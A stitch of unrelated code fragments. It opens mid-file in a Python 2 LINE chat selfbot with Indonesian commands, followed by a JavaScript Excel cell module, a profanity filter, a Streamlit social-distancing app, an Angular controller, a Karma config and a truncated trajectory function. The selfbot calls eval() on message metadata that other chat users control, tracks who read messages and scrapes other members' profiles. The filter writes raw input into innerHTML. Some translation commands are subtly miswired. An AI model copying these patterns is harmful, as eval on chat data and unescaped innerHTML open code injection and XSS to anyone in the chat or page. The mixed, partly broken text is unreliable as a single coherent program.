vipro.sendAudio(msg.to,"hasil.mp3")
elif "Say-jp " in msg.text:
say = msg.text.replace("Say-jp ","")
lang = 'ja'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
vipro.sendAudio(msg.to,"hasil.mp3")
elif "Say welcome" in msg.text:
gs = vipro.getGroup(msg.to)
say = msg.text.replace("Say welcome","Selamat Datang Di "+ gs.name)
lang = 'id'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
vipro.sendAudio(msg.to,"hasil.mp3")
elif "lurk on" == msg.text.lower():
#if msg.from_ in admin:
if msg.to in wait2['readPoint']:
try:
del wait2['readPoint'][msg.to]
del wait2['readMember'][msg.to]
del wait2['setTime'][msg.to]
except:
pass
wait2['readPoint'][msg.to] = msg.id
wait2['readMember'][msg.to] = ""
wait2['setTime'][msg.to] = datetime.now().strftime('%H:%M:%S')
wait2['ROM'][msg.to] = {}
with open('sider.json', 'w') as fp:
json.dump(wait2, fp, sort_keys=True, indent=4)
vipro.sendText(msg.to,"Lurking already on")
else:
try:
del wait2['readPoint'][msg.to]
del wait2['readMember'][msg.to]
del wait2['setTime'][msg.to]
except:
pass
wait2['readPoint'][msg.to] = msg.id
wait2['readMember'][msg.to] = ""
wait2['setTime'][msg.to] = datetime.now().strftime('%H:%M:%S')
wait2['ROM'][msg.to] = {}
with open('sider.json', 'w') as fp:
json.dump(wait2, fp, sort_keys=True, indent=4)
vipro.sendText(msg.to, "Set the lastseens' point (`・ω・´)\n\n" + datetime.now().strftime('%H:%M:%S'))
print wait2
elif "lurk off" == msg.text.lower():
#if msg.from_ in admin:
if msg.to not in wait2['readPoint']:
vipro.sendText(msg.to,"Lurking already off")
else:
try:
del wait2['readPoint'][msg.to]
del wait2['readMember'][msg.to]
del wait2['setTime'][msg.to]
except:
pass
vipro.sendText(msg.to, "Delete reading point:\n" + datetime.now().strftime('%H:%M:%S'))
elif "lurkers" == msg.text.lower():
#if msg.from_ in admin:
if msg.to in wait2['readPoint']:
if wait2["ROM"][msg.to].items() == []:
vipro.sendText(msg.to, "Lurkers:\nNone")
else:
chiya = []
for rom in wait2["ROM"][msg.to].items():
chiya.append(rom[1])
cmem = vipro.getContacts(chiya)
zx = ""
zxc = ""
zx2 = []
xpesan = 'Lurkers:\n'
for x in range(len(cmem)):
xname = str(cmem[x].displayName)
pesan = ''
pesan2 = pesan+ "@a\n"
xlen = str(len(zxc)+len(xpesan))
xlen2 = str(len(zxc)+len(pesan2)+len(xpesan)-1)
zx = {'S':xlen, 'E':xlen2, 'M':cmem[x].mid}
zx2.append(zx)
zxc += pesan2
msg.contentType = 0
print zxc
msg.text = xpesan+ zxc + "\nLurking time: %s\nCurrent time: %s"%(wait2['setTime'][msg.to],datetime.now().strftime('%H:%M:%S'))
lol ={'MENTION':str('{"MENTIONEES":'+json.dumps(zx2).replace(' ','')+'}')}
print lol
msg.contentMetadata = lol
try:
vipro.sendMessage(msg)
vipro.sendText(msg.to, "Jika sudah lihat sider please\ntulis lurk on lagi kak (`・ω・´)\n \n" + datetime.now().strftime('%H:%M:%S'))
except Exception as error:
print error
pass
else:
vipro.sendText(msg.to, "Lurking has not been set (`・ω・´)\n \n" + datetime.now().strftime('%H:%M:%S'))
elif msg.text.lower() in ["hi","hai","halo","hallo"]:
beb = "Hi Sayang 😘 " +vipro.getContact(msg.from_).displayName + " starry heart"
vipro.sendText(msg.to,beb)
elif "playstore " in msg.text.lower():
tob = msg.text.lower().replace("playstore ","")
vipro.sendText(msg.to,"Sedang Mencari...")
vipro.sendText(msg.to,"Title : "+tob+"\nSource : Google Play\nLink : https://play.google.com/store/search?q=" + tob)
vipro.sendText(msg.to,"Tuh Linknya Kak (^_^)")
elif "Mid @" in msg.text:
_name = msg.text.replace("Mid @","")
_nametarget = _name.rstrip(' ')
gs = vipro.getGroup(msg.to)
for g in gs.members:
if _nametarget == g.displayName:
vipro.sendText(msg.to, g.mid)
else:
pass
elif "Mybio " in msg.text:
string = msg.text.replace("Mybio ","")
if len(string.decode('utf-8')) <= 500:
profile = vipro.getProfile()
profile.statusMessage = string
vipro.updateProfile(profile)
vipro.sendText(msg.to,"Done")
elif "Myname " in msg.text:
if msg.from_ in Creator:
string = msg.text.replace("Myname ","")
if len(string.decode('utf-8')) <= 5000:
profile = vipro.getProfile()
profile.displayName = string
vipro.updateProfile(profile)
vipro.sendText(msg.to,"Done")
elif msg.text.lower() in ["mymid","myid"]:
middd = "Name : " +vipro.getContact(msg.from_).displayName + "\nMid : " +msg.from_
vipro.sendText(msg.to,middd)
elif msg.text.lower() in ["me"]:
msg.contentType = 13
msg.contentMetadata = {'mid': msg.from_}
vipro.sendMessage(msg)
elif "apakah " in msg.text:
apk = msg.text.replace("apakah ","")
rnd = ["Ya","Tidak","Bisa Jadi","Mungkin"]
p = random.choice(rnd)
lang = 'id'
tts = gTTS(text=p, lang=lang)
tts.save("hasil.mp3")
vipro.sendAudio(msg.to,"hasil.mp3")
elif "hari " in msg.text:
apk = msg.text.replace("hari ","")
rnd = ["Senin","Selasa","Rabu","Kamis","Jumat","Sabtu","Minggu"]
p = random.choice(rnd)
lang = 'id'
tts = gTTS(text=p, lang=lang)
tts.save("hasil.mp3")
vipro.sendAudio(msg.to,"hasil.mp3")
elif "berapa " in msg.text:
apk = msg.text.replace("berapa ","")
rnd = ['10%','20%','30%','40%','50%','60%','70%','80%','90%','100%','0%']
p = random.choice(rnd)
lang = 'id'
tts = gTTS(text=p, lang=lang)
tts.save("hasil.mp3")
vipro.sendAudio(msg.to,"hasil.mp3")
elif "berapakah " in msg.text:
apk = msg.text.replace("berapakah ","")
rnd = ['1','2','3','4','5','6','7','8','9','10','Tidak Ada']
p = random.choice(rnd)
lang = 'id'
tts = gTTS(text=p, lang=lang)
tts.save("hasil.mp3")
vipro.sendAudio(msg.to,"hasil.mp3")
elif "kapan " in msg.text:
apk = msg.text.replace("kapan ","")
rnd = ["kapan kapan","besok","satu abad lagi","Hari ini","Tahun depan","Minggu depan","Bulan depan","Sebentar lagi","Tidak Akan Pernah"]
p = random.choice(rnd)
lang = 'id'
tts = gTTS(text=p, lang=lang)
tts.save("hasil.mp3")
vipro.sendAudio(msg.to,"hasil.mp3")
elif msg.text in ["Simisimi on","Simisimi:on"]:
settings["simiSimi"][msg.to] = True
wait["Simi"] = True
vipro.sendText(msg.to," Simisimi Di Aktifkan")
elif msg.text in ["Simisimi off","Simisimi:off"]:
settings["simiSimi"][msg.to] = False
wait["Simi"] = False
vipro.sendText(msg.to,"Simisimi Di Nonaktifkan")
elif "Image " in msg.text:
search = msg.text.replace("Image ","")
url = 'https://www.google.com/search?espv=2&biw=1366&bih=667&tbm=isch&oq=kuc&aqs=mobile-gws-lite.0.0l5&q=' + search
raw_html = (download_page(url))
items = []
items = items + (_images_get_all_items(raw_html))
path = random.choice(items)
print path
try:
vipro.sendImageWithURL(msg.to,path)
except:
pass
elif "Youtubesearch " in msg.text:
query = msg.text.replace("Youtubesearch ","")
with requests.session() as s:
s.headers['user-agent'] = 'Mozilla/5.0'
url = 'http://www.youtube.com/results'
params = {'search_query': query}
r = s.get(url, params=params)
soup = BeautifulSoup(r.content, 'html.parser')
hasil = ""
for a in soup.select('.yt-lockup-title > a[title]'):
if '&list=' not in a['href']:
hasil += ''.join((a['title'],'\nUrl : http://www.youtube.com' + a['href'],'\n\n'))
vipro.sendText(msg.to,hasil)
print '[Command] Youtube Search'
elif "Tr-id " in msg.text:
isi = msg.text.replace("Tr-id ","")
translator = Translator()
hasil = translator.translate(isi, dest='id')
A = hasil.text
A = A.encode('utf-8')
vipro.sendText(msg.to, A)
elif "Tr-en " in msg.text:
isi = msg.text.replace("Tr-en ","")
translator = Translator()
hasil = translator.translate(isi, dest='en')
A = hasil.text
A = A.encode('utf-8')
vipro.sendText(msg.to, A)
elif "Tr-th " in msg.text:
isi = msg.text.replace("Tr-th ","")
translator = Translator()
hasil = translator.translate(isi, dest='th')
A = hasil.text
A = A.encode('utf-8')
vipro.sendText(msg.to, A)
elif "Id@en" in msg.text:
bahasa_awal = 'id'
bahasa_tujuan = 'en'
kata = msg.text.replace("Id@en ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
vipro.sendText(msg.to,"----Dari Indonesia----\n" + "" + kata + "\n\n----Ke Inggris----\n" + "" + result)
elif "En@id" in msg.text:
bahasa_awal = 'en'
bahasa_tujuan = 'id'
kata = msg.text.replace("En@id ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
vipro.sendText(msg.to,"----Dari Inggris----\n" + "" + kata + "\n\n----Ke Indonesia----\n" + "" + result)
elif "Id@th" in msg.text:
bahasa_awal = 'id'
bahasa_tujuan = 'th'
kata = msg.text.replace("Id@en ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
vipro.sendText(msg.to,"----Dari Indonesia----\n" + "" + kata + "\n\n----Ke Thailand----\n" + "" + result)
elif "Th@id" in msg.text:
bahasa_awal = 'th'
bahasa_tujuan = 'id'
kata = msg.text.replace("Id@en ","")
url = 'https://translate.google.com/m?sl=%s&tl=%s&ie=UTF-8&prev=_m&q=%s' % (bahasa_awal, bahasa_tujuan, kata.replace(" ", "+"))
agent = {'User-Agent':'Mozilla/5.0'}
cari_hasil = 'class="t0">'
request = urllib2.Request(url, headers=agent)
page = urllib2.urlopen(request).read()
result = page[page.find(cari_hasil)+len(cari_hasil):]
result = result.split("<")[0]
vipro.sendText(msg.to,"----Dari Thailand----\n" + "" + kata + "\n\n----Ke Indonesia----\n" + "" + result)
elif msg.text in ["Friendlist"]:
contactlist = vipro.getAllContactIds()
kontak = vipro.getContacts(contactlist)
num=1
msgs="═════════List Friend═════════"
for ids in kontak:
msgs+="\n[%i] %s" % (num, ids.displayName)
num=(num+1)
msgs+="\n═════════List Friend═════════\n\nTotal Friend : %i" % len(kontak)
vipro.sendText(msg.to, msgs)
elif msg.text in ["Memlist"]:
kontak = vipro.getGroup(msg.to)
group = kontak.members
num=1
msgs="═════════List Member═�����═══════-"
for ids in group:
msgs+="\n[%i] %s" % (num, ids.displayName)
num=(num+1)
msgs+="\n═════════List Member═════════\n\nTotal Members : %i" % len(group)
vipro.sendText(msg.to, msgs)
elif "Getvid @" in msg.text:
print "[Command]dp executing"
_name = msg.text.replace("Getvid @","")
_nametarget = _name.rstrip(' ')
gs = vipro.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
vipro.sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
contact = vipro.getContact(target)
path = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
vipro.sendVideoWithURL(msg.to, path)
except Exception as e:
raise e
print "[Command]dp executed"
elif "Getgroup image" in msg.text:
group = vipro.getGroup(msg.to)
path = "http://dl.profile.line-cdn.net/" + group.pictureStatus
vipro.sendImageWithURL(msg.to,path)
elif "Urlgroup image" in msg.text:
group = vipro.getGroup(msg.to)
path = "http://dl.profile.line-cdn.net/" + group.pictureStatus
vipro.sendText(msg.to,path)
elif "Name" in msg.text:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
contact = vipro.getContact(key1)
cu = vipro.channel.getCover(key1)
try:
vipro.sendText(msg.to, "===[DisplayName]===\n" + contact.displayName)
except:
vipro.sendText(msg.to, "===[DisplayName]===\n" + contact.displayName)
elif "Profile" in msg.text:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
contact = vipro.getContact(key1)
cu = vipro.channel.getCover(key1)
path = str(cu)
image = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
try:
vipro.sendText(msg.to,"Nama :\n" + contact.displayName + "\n\nBio :\n" + contact.statusMessage)
vipro.sendText(msg.to,"Profile Picture " + contact.displayName)
vipro.sendImageWithURL(msg.to,image)
vipro.sendText(msg.to,"Cover " + contact.displayName)
vipro.sendImageWithURL(msg.to,path)
except:
pass
elif "Contact" in msg.text:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
mmid = vipro.getContact(key1)
msg.contentType = 13
msg.contentMetadata = {"mid": key1}
vipro.sendMessage(msg)
elif "Info" in msg.text:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
contact = vipro.getContact(key1)
cu = vipro.channel.getCover(key1)
try:
vipro.sendText(msg.to,"Nama :\n" + contact.displayName + "\n\nMid :\n" + contact.mid + "\n\nBio :\n" + contact.statusMessage + "\n\nProfile Picture :\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n\nHeader :\n" + str(cu))
except:
vipro.sendText(msg.to,"Nama :\n" + contact.displayName + "\n\nMid :\n" + contact.mid + "\n\nBio :\n" + contact.statusMessage + "\n\nProfile Picture :\n" + str(cu))
elif "Bio" in msg.text:
key = eval(msg.contentMetadata["MENTION"])
key1 = key["MENTIONEES"][0]["M"]
contact = vipro.getContact(key1)
cu = vipro.channel.getCover(key1)
try:
vipro.sendText(msg.to, "===[StatusMessage]===\n" + contact.statusMessage)
except:
vipro.sendText(msg.to, "===[StatusMessage]===\n" + contact.statusMessage)
elif msg.text.lower() == 'runtime':
eltime = time.time() - mulai
van = "Bot Sudah Berjalan Selama :\n"+waktu(eltime)
vipro.sendText(msg.to,van)
elif "Checkdate " in msg.text:
tanggal = msg.text.replace("Checkdate ","")
r=requests.get('https://script.google.com/macros/exec?service=AKfycbw7gKzP-WYV2F5mc9RaR7yE3Ve1yN91Tjs91hp_jHSE02dSv9w&nama=ervan&tanggal='+tanggal)
data=r.text
data=json.loads(data)
lahir = data["data"]["lahir"]
usia = data["data"]["usia"]
ultah = data["data"]["ultah"]
zodiak = data["data"]["zodiak"]
vipro.sendText(msg.to,"========== I N F O R M A S I ==========\n"+"Date Of Birth : "+lahir+"\nAge : "+usia+"\nUltah : "+ultah+"\nZodiak : "+zodiak+"\n========== I N F O R M A S I ==========")
elif msg.text in ["Kalender","Time","Waktu"]:
timeNow = datetime.now()
timeHours = datetime.strftime(timeNow,"(%H:%M)")
day = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday","Friday", "Saturday"]
hari = ["Minggu", "Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu"]
bulan = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"]
inihari = datetime.today()
hr = inihari.strftime('%A')
bln = inihari.strftime('%m')
for i in range(len(day)):
if hr == day[i]: hasil = hari[i]
for k in range(0, len(bulan)):
if bln == str(k): bln = bulan[k-1]
rst = hasil + ", " + inihari.strftime('%d') + " - " + bln + " - " + inihari.strftime('%Y') + "\nJam : [ " + inihari.strftime('%H:%M:%S') + " ]"
vipro.sendText(msg.to, rst)
elif "SearchID " in msg.text:
userid = msg.text.replace("SearchID ","")
contact = vipro.findContactsByUserid(userid)
msg.contentType = 13
msg.contentMetadata = {'mid': contact.mid}
vipro.sendMessage(msg)
elif "Searchid " in msg.text:
userid = msg.text.replace("Searchid ","")
contact = vipro.findContactsByUserid(userid)
msg.contentType = 13
msg.contentMetadata = {'mid': contact.mid}
vipro.sendMessage(msg)
elif "removechat" in msg.text.lower():
if msg.from_ in admin:
try:
vipro.removeAllMessages(op.param2)
print "[Command] Remove Chat"
vipro.sendText(msg.to,"Done")
except Exception as error:
print error
vipro.sendText(msg.to,"Error")
elif "Invitemeto " in msg.text:
if msg.from_ in admin:
gid = msg.text.replace("Invitemeto ","")
if gid == "":
vipro.sendText(msg.to,"Invalid group id")
else:
try:
vipro.findAndAddContactsByMid(msg.from_)
vipro.inviteIntoGroup(gid,[msg.from_])
except:
vipro.sendText(msg.to,"Mungkin Saya Tidak Di Dalaam Grup Itu")
elif msg.text in ["Glist"]:
vipro.sendText(msg.to, "Tunggu Sebentar. . .")
gid = vipro.getGroupIdsJoined()
h = ""
for i in gid:
h += "╠➩" + "%s\n" % (vipro.getGroup(i).name +" ~> ["+str(len(vipro.getGroup(i).members))+"]")
vipro.sendText(msg.to,"╔═════════════════════════\n║ ☆☞ LIST GROUPS☜☆\n╠═════════════════════════\n" + h + "╠═════════════════════════" + "\n║ Total Groups =" +" ["+str(len(gid))+"]\n╚═════════════════════════")
elif msg.text in ["Glistmid"]:
gruplist = vipro.getGroupIdsJoined()
kontak = vipro.getGroups(gruplist)
num=1
msgs="═════════List GrupMid═════════"
for ids in kontak:
msgs+="\n[%i] %s" % (num, ids.id)
num=(num+1)
msgs+="\n═════════List GrupMid═════════\n\nTotal Grup : %i" % len(kontak)
vipro.sendText(msg.to, msgs)
elif "Google: " in msg.text:
a = msg.text.replace("Google: ","")
b = urllib.quote(a)
vipro.sendText(msg.to,"Sedang Mencari...")
vipro.sendText(msg.to, "https://www.google.com/" + b)
vipro.sendText(msg.to,"Itu Dia Linknya. . .")
elif "Details group: " in msg.text:
if msg.from_ in admin:
gid = msg.text.replace("Details group: ","")
if gid in [""," "]:
vipro.sendText(msg.to,"Grup id tidak valid")
else:
try:
groups = vipro.getGroup(gid)
if groups.members is not None:
members = str(len(groups.members))
else:
members = "0"
if groups.invitee is not None:
pendings = str(len(groups.invitee))
else:
pendings = "0"
h = "[" + groups.name + "]\n -+GroupID : " + gid + "\n -+Members : " + members + "\n -+MembersPending : " + pendings + "\n -+Creator : " + groups.creator.displayName + "\n -+GroupPicture : http://dl.profile.line.naver.jp/" + groups.pictureStatus
vipro.sendText(msg.to,h)
except Exception as error:
vipro.sendText(msg.to,(error))
elif "Cancel invite: " in msg.text:
if msg.from_ in admin:
gids = msg.text.replace("Cancel invite: ","")
gid = vipro.getGroup(gids)
for i in gid:
if i is not None:
try:
vipro.rejectGroupInvitation(i)
except:
vipro.sendText(msg.to,"Error!")
break
else:
break
if gid is not None:
vipro.sendText(msg.to,"Berhasil tolak undangan dari grup " + gid.name)
else:
vipro.sendText(msg.to,"Grup tidak ditemukan")
elif msg.text in ["Acc invite"]:
if msg.from_ in admin:
gid = vipro.getGroupIdsInvited()
_list = ""
for i in gid:
if i is not None:
gids = vipro.getGroup(i)
_list += gids.name
vipro.acceptGroupInvitation(i)
else:
break
if gid is not None:
vipro.sendText(msg.to,"Berhasil terima semua undangan dari grup :\n" + _list)
else:
vipro.sendText(msg.to,"Tidak ada grup yang tertunda saat ini")
elif "Gif gore" in msg.text:
gif = ("https://media.giphy.com/media/l2JHVsQiOZrNMGzYs/giphy.gif","https://media.giphy.com/media/OgltQ2hbilzJS/200w.gif")
gore = random.choice(gif)
vipro.sendGifWithURL(msg.to,gore)
elif ("Micadd " in msg.text):
targets = []
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
mimic["target"][target] = True
vipro.sendText(msg.to,"Target ditambahkan!")
break
except:
vipro.sendText(msg.to,"Fail !")
break
elif ("Micdel " in msg.text):
targets = []
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
del mimic["target"][target]
vipro.sendText(msg.to,"Target dihapuskan!")
break
except:
vipro.sendText(msg.to,"Fail !")
break
elif msg.text in ["Miclist"]:
if mimic["target"] == {}:
vipro.sendText(msg.to,"Nothing")
else:
mc = "Target Mimic User:\n"
for mi_d in mimic["target"]:
mc += "?? "+vipro.getContact(mi_d).displayName + "\n"
vipro.sendText(msg.to,mc)
elif "Mimic target " in msg.text:
if mimic["copy"] == True:
siapa = msg.text.replace("Mimic target ","")
if siapa.rstrip(' ') == "me":
mimic["copy2"] = "me"
vipro.sendText(msg.to,"Mimic change to me")
elif siapa.rstrip(' ') == "target":
mimic["copy2"] = "target"
vipro.sendText(msg.to,"Mimic change to target")
else:
vipro.sendText(msg.to,"I dont know")
elif "Mimic " in msg.text:
cmd = msg.text.replace("Mimic ","")
if cmd == "on":
if mimic["status"] == False:
mimic["status"] = True
vipro.sendText(msg.to,"Reply Message on")
else:
vipro.sendText(msg.to,"Sudah on")
elif cmd == "off":
if mimic["status"] == True:
mimic["status"] = False
vipro.sendText(msg.to,"Reply Message off")
else:
vipro.sendText(msg.to,"Sudah off")
if op.type == 59:
print op
except Exception as error:
print error
while True:
try:
Ops = vipro.fetchOps(vipro.Poll.rev, 5)
except EOFError:
raise Exception("It might be wrong revision\n" + str(vipro.Poll.rev))
for Op in Ops:
if (Op.type != OpType.END_OF_OPERATION):
vipro.Poll.rev = max(vipro.Poll.rev, Op.revision)
bot(Op)
|
'use strict';
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
var utils = require('../utils.js');
// §18.3.1.4 c (Cell)
var Cell = function () {
/**
* Create an Excel Cell
* @private
* @param {Number} row Row of cell.
* @param {Number} col Column of cell
*/
function Cell(row, col) {
_classCallCheck(this, Cell);
this.r = '' + utils.getExcelAlpha(col) + row; // 'r' attribute
this.s = 0; // 's' attribute refering to style index
this.t = null; // 't' attribute stating Cell data type - §18.18.11 ST_CellType (Cell Type)
this.f = null; // 'f' child element used for formulas
this.v = null; // 'v' child element for values
this.row = row; // used internally throughout code. Does not go into XML
this.col = col; // used internally throughout code. Does not go into XML
}
_createClass(Cell, [{
key: 'string',
value: function string(index) {
this.t = 's';
this.v = index;
this.f = null;
}
}, {
key: 'number',
value: function number(val) {
this.t = 'n';
this.v = val;
this.f = null;
}
}, {
key: 'formula',
value: function formula(_formula) {
this.t = null;
this.v = null;
this.f = _formula;
}
}, {
key: 'bool',
value: function bool(val) {
this.t = 'b';
this.v = val;
this.f = null;
}
}, {
key: 'date',
value: function date(dt) {
this.t = null;
this.v = utils.getExcelTS(dt);
this.f = null;
}
}, {
key: 'style',
value: function style(sId) {
this.s = sId;
}
}, {
key: 'addToXMLele',
value: function addToXMLele(ele) {
if (this.v === null && this.is === null) {
return;
}
var cEle = ele.ele('c').att('r', this.r).att('s', this.s);
if (this.t !== null) {
cEle.att('t', this.t);
}
if (this.f !== null) {
cEle.ele('f').txt(this.f).up();
}
if (this.v !== null) {
cEle.ele('v').txt(this.v).up();
}
cEle.up();
}
}]);
return Cell;
}();
module.exports = Cell;
//# sourceMappingURL=cell.js.map
|
export { AdapterModalSteps } from './AdapterModalSteps';
export { AdapterModalComponent } from './AdapterModalComponent';
|
function $(e) {return document.querySelector(e)}
const BadWords = /Fu*ck|As*ho*le*|Ass|Bi*tch|M*o*t*h*e*rf*u*c*k*er|Di*ck/gim;
function SearchBW() {
var msg = $('#txt').value;
var out = $('#out');
msg = msg.replace(/\n/gim, '<br>');
msg = msg.replace(BadWords, '<censor>**Censored**</censor>');
out.innerHTML = msg;
}
|
import streamlit as st
import pandas as pd
import numpy as np
import os, urllib, cv2
from PIL import Image
from utils.yolov3 import *
from utils.controllers import *
from utils.helper_functions import *
from utils.configs import *
def main():
# Download external dependencies.
for filename in EXTERNAL_DEPENDENCIES.keys():
download_file(filename)
net, output_layer_names = load_network(YOLO_DARKNET_CONFIGS, YOLO_DARKNET_WEIGHTS)
st.sidebar.title("What to do")
app_mode = st.sidebar.selectbox("Choose the app mode",
["Show instructions", "Image", "Video", "Real-time"])
if app_mode == "Show instructions":
st.markdown('<h1 style="text-align: center;">Social Distancing Monitoring Tool</h1>', unsafe_allow_html=True)
st.image(Image.open('static\social_dist.jpg'),use_column_width=True)
st.markdown(get_file_content_as_string("static/instructions.md"), unsafe_allow_html=True)
st.sidebar.success('To continue select an action.')
elif app_mode == "Image":
st.header('Monitor Social Distancing Norms on still Image:')
detect_image(net, output_layer_names, YOLO_PREDICTION_THRESHOLD, YOLO_IOU_THRESHOLD, YOLO_DISTANCE_THRESHOLD)
elif app_mode == "Video":
st.header('Monitor Social Distancing Norms on Videos:')
detect_video(net, output_layer_names, YOLO_PREDICTION_THRESHOLD, YOLO_IOU_THRESHOLD, YOLO_DISTANCE_THRESHOLD, YOLO_FRAME_SKIP)
elif app_mode == "Real-time":
st.header('Monitor Social Distancing Norms on Real-time Videos:')
def device_mapper(key):
if key == 0:
return "Front Camera"
else:
return "Other connected device (if any)"
select_device = st.selectbox("Choose the input device", [0, 1], index=0, format_func=device_mapper)
detect_realtime(net, output_layer_names, select_device, YOLO_PREDICTION_THRESHOLD, YOLO_IOU_THRESHOLD, YOLO_DISTANCE_THRESHOLD, YOLO_SLEEP_TIME)
if __name__ == "__main__":
main()
|
/**
* Created by woody on 2015/11/8.
*/
angular.module('myapp').controller('Tab02DetailCtrl', ['$state','$scope','$rootScope','Init','$ionicViewSwitcher','Alert','$stateParams','LoginFilter','BackUtil','LoadUtil',function ($state,$scope,$rootScope,Init,$ionicViewSwitcher,Alert,$stateParams,LoginFilter,BackUtil,LoadUtil) {
var tpId = $stateParams.data.tpId;
//检测是否已登录
var userId=LoginFilter.loginFilter().userId;
//返回方法
$scope.myGoBack = function() {
BackUtil.goBackFun();
};
//协议状态长按事件
$scope.onHold = function(){
//长度超过4位显示不全才会弹出显示
if($scope.im.statusName.length>4)
{
$("#"+$scope.im.tpId+"detail").css('display','block');
}
};
//协议状态长按松手隐藏事件
$scope.onRelease = function(){
$("#"+$scope.im.tpId+"detail").css('display','none');
};
//显示加载中的load提示信息
LoadUtil.showLoad('加载中');
//查询转移计划明细信息
var param={tpId:tpId,userId:userId,processinstId:""};
Init.iwbhttp('/statistics/getTransferPlanByTpId', param, function(data,header,config,status){
if(data.resFlag == 0){
$scope.items = data.entityData.subList;
$scope.im = data.entityData;
$rootScope.isTrue=1;
}else{
Alert.myToastBottom({mess:data.msg,height:-160});
$rootScope.isTrue=0;
}
//关闭load加载层信息
LoadUtil.hideLoad();
},function(data,header,config,status){
});
//查询历史审核信息
$scope.lookCheckList = function()
{
//$ionicViewSwitcher.nextDirection('forward');
$stateParams.data.backUrl=$state.current.name;
$stateParams.data.level=2;
BackUtil.addBackInfo($stateParams);
$state.go('todolist-detail-2',{data:{tpId:tpId,processinstid:null,workItemId:null}});
};
}]);
|
// Karma configuration file, see link for more information
// https://karma-runner.github.io/1.0/config/configuration-file.html
module.exports = function (config) {
config.set({
basePath: '',
frameworks: ['jasmine', '@angular-devkit/build-angular'],
webpack: {
devtool: 'inline-source-map'
},
plugins: [
require('karma-jasmine'),
require('karma-chrome-launcher'),
require('karma-jasmine-html-reporter'),
require('karma-coverage-istanbul-reporter'),
require('@angular-devkit/build-angular/plugins/karma')
],
client: {
clearContext: false // leave Jasmine Spec Runner output visible in browser
},
coverageIstanbulReporter: {
dir: require('path').join(__dirname, '../coverage'),
reports: ['html', 'lcovonly'],
fixWebpackSourcePaths: true
},
reporters: ['progress', 'kjhtml'],
port: 9876,
colors: true,
logLevel: config.LOG_INFO,
autoWatch: true,
browsers: ['Chrome'],
singleRun: false
});
};
|
import geopandas as gpd
import pandas as pd
from shapely.geometry import Polygon,Point
from .grids import GPS_to_grids,grids_centre
from .preprocess import id_reindex
import math
import numpy as np
def traj_densify(data,col = ['Vehicleid','Time','Lng','Lat'],timegap = 15):
'''
轨迹点增密,确保每隔timegap秒会有一个轨迹点
输入
-------
data : DataFrame
数据
col : List
列名,按[车辆ID,时间,经度,纬度]的顺序
timegap : number
单位为秒,每隔多长时间插入一个轨迹点
输出
-------
data1 : DataFrame
处理后的数据
'''
Vehicleid,Time,Lng,Lat = col
data[Time] = pd.to_datetime(data[Time])
data1 = data.copy()
data1 = data1.drop_duplicates([Vehicleid,Time])
data1 = id_reindex(data1,Vehicleid)
data1 = data1.sort_values(by=[Vehicleid+'_new',Time])
data1['utctime'] = data1[Time].apply(lambda r:int(r.value/1000000000))
data1['utctime_new'] = data1[Vehicleid+'_new']*10000000000+data1['utctime']
a = data1.groupby([Vehicleid+'_new'])['utctime'].min().rename('mintime').reset_index()
b = data1.groupby([Vehicleid+'_new'])['utctime'].max().rename('maxtime').reset_index()
minmaxtime = pd.merge(a,b)
mintime = data1['utctime'].min()
maxtime = data1['utctime'].max()
timedata = pd.DataFrame(range(mintime,maxtime,timegap),columns = [Time])
timedata['tmp'] = 1
minmaxtime['tmp'] = 1
minmaxtime = pd.merge(minmaxtime,timedata)
minmaxtime = minmaxtime[(minmaxtime['mintime']<=minmaxtime[Time])&(minmaxtime['maxtime']>=minmaxtime[Time])]
